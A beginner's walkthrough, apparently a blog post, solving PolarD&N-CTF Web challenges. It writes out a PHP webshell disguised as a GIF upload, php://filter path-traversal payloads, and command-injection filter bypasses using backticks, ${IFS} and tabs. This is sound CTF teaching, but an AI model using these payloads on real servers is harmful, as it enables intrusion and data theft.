news 2026/4/24 20:42:03

新手也能玩转PolarDN-CTF:从Web签到题到文件上传的保姆级通关笔记

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手也能玩转PolarDN-CTF:从Web签到题到文件上传的保姆级通关笔记

新手也能玩转PolarD&N-CTF:从Web签到题到文件上传的保姆级通关笔记

第一次接触CTF比赛时,面对各种Web安全题目完全不知从何下手。直到参加了PolarD&N-CTF的Web方向比赛,才真正理解了"从零到一"的突破过程。本文将用最直白的语言,记录我从签到题一路通关到文件上传题的完整历程,特别适合刚入门的新手参考。

1. 初识CTF:从签到题开始

签到题通常是比赛中最简单的存在,但第一次遇到时还是让我手足无措。题目页面空空如也,没有任何提示。这时需要掌握CTF的第一个核心技能:信息搜集

使用Burp Suite抓包后,在Cookie中发现了一个base64编码的字符串。解码后发现提示:

/data/index.php

访问该页面后,源码中给出了关键信息:

if(isset($_GET['file'])){ $file = str_replace('../', '', $_GET['file']); include($file); }

这里考察的是目录穿越漏洞PHP伪协议的利用。经过多次尝试,最终payload如下:

?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag

注意:使用..././代替../是为了绕过简单的字符串替换过滤

2. 信息搜集:robots.txt与源码审计

在"robots"这道题中,题目描述暗示了需要查看robots.txt文件:

User-agent: * Disallow: /fl0g.php

访问/fl0g.php直接获得flag。这类题目考察的是对Web标准协议的了解程度。

另一个典型例子是"蜜雪冰城吉警店",看似复杂的界面其实只需要:

  1. 按F12打开开发者工具
  2. 找到某个元素的id属性
  3. 将其值改为9
  4. 点击按钮即可获得flag

3. 文件上传漏洞实战

"ezupload"是我遇到的第一个文件上传题,也是印象最深刻的一题。以下是详细步骤:

  1. 准备一个简单的PHP webshell:
<?php system($_GET['cmd']); ?>
  1. 上传时修改Content-Type为image/gif
  2. 添加GIF文件头到webshell前:
GIF89a <?php system($_GET['cmd']); ?>
  1. 上传成功后,访问文件并执行命令:
/upload/shell.gif?cmd=ls

关键点:很多CTF题目只检查文件头,不验证完整文件内容

4. 命令执行漏洞的多种玩法

"简单rce"这道题展示了命令执行的不同绕过技巧:

$ip = $_GET['ip']; $cmd = "ping -c 4 {$ip}"; exec($cmd, $res);

绕过方法一:使用反引号执行命令

?ip=127.0.0.1|`ls`

绕过方法二:用${IFS}代替空格

?ip=127.0.0.1|cat${IFS}flag.txt

绕过方法三:使用制表符%09

?ip=127.0.0.1|cat%09/fl*

5. 变量覆盖与特殊技巧

"$$"这道题展示了PHP变量覆盖的威力:

$c = $_GET['c']; $$c = $_GET[$c]; var_dump($$c);

通过设置?c=GLOBALS,可以dump出所有全局变量,其中就包含flag。

另一个有趣的题目是"iPhone",只需要修改User-Agent:

User-Agent: iPhone

6. 工具使用心得

在实战中,几个工具特别有用:

  • Burp Suite:抓包改包必备
  • dirsearch:目录扫描神器
  • 开发者工具:查看和修改前端代码

例如在"Don't touch me"这道题中,只需要:

  1. 查看源码找到隐藏的/2.php
  2. 删除按钮的disabled属性
  3. 点击按钮获取下一步提示

7. 从解题到思考的转变

最初我只会机械地跟着Writeup操作,后来逐渐学会了自主分析的方法:

  1. 查看页面源码和注释
  2. 检查HTTP头信息
  3. 尝试常见漏洞点(如robots.txt、.git目录等)
  4. 使用工具辅助信息收集
  5. 分析过滤逻辑,寻找绕过方法

比如在"干正则"这道题中:

$cmd = "ping -c 4 {$ip}"; @parse_str($_GET['id']); exec($cmd);

通过分析发现可以利用数组覆盖$ip变量:

?id=a[0]=|ls

8. 常见问题与解决方案

问题1:遇到过滤怎么办?

  • 尝试大小写绕过(如ScRiPt)
  • 使用编码绕过(如URL编码)
  • 双写关键字(如scscriptript)

问题2:找不到flag位置?

  • 检查常见目录:/var/www/html /tmp /root
  • 使用find命令:find / -name "*flag*"
  • 查看环境变量:env

问题3:命令执行被限制?

  • 尝试不同命令分隔符:; & && |
  • 使用替代命令:cat → tac → more → less
  • 利用通配符:/fla? /fl*
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/24 20:41:19

WinSpy++终极指南:高效解决Windows窗口调试的5大实战问题

WinSpy终极指南&#xff1a;高效解决Windows窗口调试的5大实战问题 【免费下载链接】winspy WinSpy 项目地址: https://gitcode.com/gh_mirrors/wi/winspy **WinSpy**是一款专为Windows开发者设计的专业级窗口探查与分析工具&#xff0c;能够深度解析任意Windows程序的…

作者头像 李华
网站建设 2026/4/24 20:38:21

黑苹果系统优化终极指南:7个技巧实现完美电源管理与性能调优

黑苹果系统优化终极指南&#xff1a;7个技巧实现完美电源管理与性能调优 【免费下载链接】Hackintosh Hackintosh long-term maintenance model EFI and installation tutorial 项目地址: https://gitcode.com/gh_mirrors/ha/Hackintosh 想要让你的黑苹果系统像真正的Ma…

作者头像 李华
网站建设 2026/4/24 20:35:44

【实战篇】Qt+VTK项目编译与常见问题排错

1. QtVTK项目编译前的准备工作 在开始QtVTK项目编译之前&#xff0c;确保你的开发环境已经正确搭建。我遇到过很多初学者因为环境配置不完整导致后续编译失败的情况&#xff0c;所以这部分特别重要。首先需要确认你已经安装了以下组件&#xff1a;VTK库&#xff08;建议8.2或更…

作者头像 李华
网站建设 2026/4/24 20:35:43

对话记忆难题终结者:ADK-Python历史管理全攻略

对话记忆难题终结者&#xff1a;ADK-Python历史管理全攻略 【免费下载链接】adk-python An open-source, code-first Python toolkit for building, evaluating, and deploying sophisticated AI agents with flexibility and control. 项目地址: https://gitcode.com/GitHub…

作者头像 李华